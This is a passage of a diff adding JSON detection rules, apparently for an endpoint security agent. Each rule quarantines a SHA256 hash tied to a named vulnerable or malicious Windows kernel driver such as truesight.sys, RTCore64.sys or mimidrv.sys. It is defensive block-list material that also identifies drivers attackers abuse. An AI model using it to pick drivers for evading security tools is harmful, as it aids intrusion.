+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c6331505edd1014cc52161204024e2abca62b87158666db06c8524508402a7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef0290d0-3329-566b-aeaa-61e94c4d0768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824348Z",
+  "creation_date": "2026-03-23T11:45:31.824351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824360Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1921a4cf383b837935c4108ce3369680b097cfc1b05e685e26d53f8bce22c0d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef0b5f79-66a4-5adf-b74d-71a281deee4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148434Z",
+  "creation_date": "2026-03-23T11:45:31.148435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b19a70942d8a2712416840edb13c6efd0ba483fa62e68496ea437ced7b9519dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef111985-c75f-5ada-bc6a-07dcb46fbdb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978336Z",
+  "creation_date": "2026-03-23T11:45:29.978338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f55375fb70cb355fe7de7f59904b12ef996447cbc7113fefa379995e040d678",
+  "comment": "Malicious Kernel Driver (aka wantd_4.sys) [https://www.loldrivers.io/drivers/72637cb1-5ca2-4ad0-a5df-20da17b231b5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef11a8dc-0bc9-5b08-a7c8-a7a85ae901e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808432Z",
+  "creation_date": "2026-03-23T11:45:31.808434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5319f51a82e9725a01e7c6c00bab47a6223aa2b5e36ea39428225ee06cf06247",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef1c56ab-e16f-5204-a51d-8029bd4bc19c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807351Z",
+  "creation_date": "2026-03-23T11:45:31.807353Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bd87b14bf7ea7b946b02aab0f20947ffa672219bfb1683bb2cc8a537978e121",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef3bc8fd-d979-5543-ab4d-ea5b12285673",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978686Z",
+  "creation_date": "2026-03-23T11:45:29.978688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b9623da9ba8e5c80c49473f40ffe7ad315dcadffc3230afdc9d9226d60a715a",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef40c6b9-422b-5ac6-b5fa-94ed9300a78b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615798Z",
+  "creation_date": "2026-03-23T11:45:29.615800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615806Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "826e80ea5f657c75127c066b86caea8089f33b09b12c3d393fca8efedd40c1ef",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef55c5dd-d7aa-59db-82b2-e98e93056af0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456018Z",
+  "creation_date": "2026-03-23T11:45:30.456022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c191c7d4ec03c4ef0f51a67af42a90390f75ebd6f83dbc05e317fe5a90a1fb31",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef57c6b0-6e84-54a9-a434-f431fbf641f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492556Z",
+  "creation_date": "2026-03-23T11:45:31.492558Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492564Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "210b908936b7bcd3883c3e5b8924fdce25cba194f042e973125205307880af06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef63870b-2700-583e-951d-5a7214d58905",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608705Z",
+  "creation_date": "2026-03-23T11:45:29.608707Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ff48482c844ad0ab51365b9286197bc3c3173f02d62fc7ded68fc2b299b448b",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef6a0c1b-977e-5c3a-a7ca-b6add94c0eed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144018Z",
+  "creation_date": "2026-03-23T11:45:32.144020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77cb09dc2fc3c56f3b12ad03a85cedbe3a8e0bb876dadfd76a1fb6c57602817b",
+  "comment": "Malicious Kernel Driver (aka driver_090d409f.sys) [https://www.loldrivers.io/drivers/00561455-9da1-4f0c-8564-e4c99b716a74/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef6b9b15-a457-5b5b-843e-1e9ca9540352",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160047Z",
+  "creation_date": "2026-03-23T11:45:31.160049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "111a37b0a0fbb135ad69da789e5ea53985c444dd0d6f91713c6bdd0d1060524c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef719e5e-f04f-51f3-8c70-1ad369707863",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489109Z",
+  "creation_date": "2026-03-23T11:45:31.489111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77e344edd8e09c77c87843e37de9a5f286a1db3d41f8593bc970efa7a2a0433d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef71cb45-3dc1-5ba4-b99a-03796755eb52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985063Z",
+  "creation_date": "2026-03-23T11:45:29.985065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5215f83138901ca7ade60c2222446fa3dd7e8900a745bd339f8a596cb29356c",
+  "comment": "Dangerous Physmem Kernel Driver (aka Dh_Kernel.Sys) [https://www.loldrivers.io/drivers/dfce8b0f-d857-4808-80ef-61273c7a4183/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef785546-217b-55f6-b8ef-e431343e35e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494710Z",
+  "creation_date": "2026-03-23T11:45:31.494712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da2330df96145c6bafe1563867de202570112737ea27da2e43bb4ec11e66db25",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef79d680-d697-54d1-85f1-cb2b858b5ef8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460579Z",
+  "creation_date": "2026-03-23T11:45:30.460583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c425793a8ce87be916969d6d7e9dd0687b181565c3b483ce53ad1ec6fb72a17",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef7f376d-04eb-5cdb-823c-c923c15db51d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469369Z",
+  "creation_date": "2026-03-23T11:45:30.469372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fde2df81ad28f2306a2daf636041eb747a035d8f08709cdac2d53987d9edef4a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef862a0c-d4d2-5882-a33e-4fcbb2db018a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155241Z",
+  "creation_date": "2026-03-23T11:45:31.155243Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14c2cc0a314f51750e274f339c057b88509ec0ff996d1ba13d19317834848019",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef8baf7d-9f53-5e5d-a45f-e2206661bc77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829386Z",
+  "creation_date": "2026-03-23T11:45:31.829389Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec978cd1362e1f6d9c0afab0a13d9cb10cf9ef35d674451c4c67ad934877a147",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ef93f228-7cb5-5c11-a2d3-c55ae5a65410",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619575Z",
+  "creation_date": "2026-03-23T11:45:29.619577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34f6f68262fb25da9f6c974d6c2be8deb02b251506c847a4d6fc15f0cf5613a0",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efa69846-5793-5974-a73e-7e1ad7b0ad39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471745Z",
+  "creation_date": "2026-03-23T11:45:31.471748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b35ac0a4ee6955a86abdbcc13576b77f4207c67a203e9e3b288cb15a0c7f9e49",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "efa89129-e939-53c8-babe-3780cfc5a234",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826765Z",
+  "creation_date": "2026-03-23T11:45:31.826767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51ad1bbbf59f79eeb923399825ec464589be427c5611d64bb5d47df7a3273240",
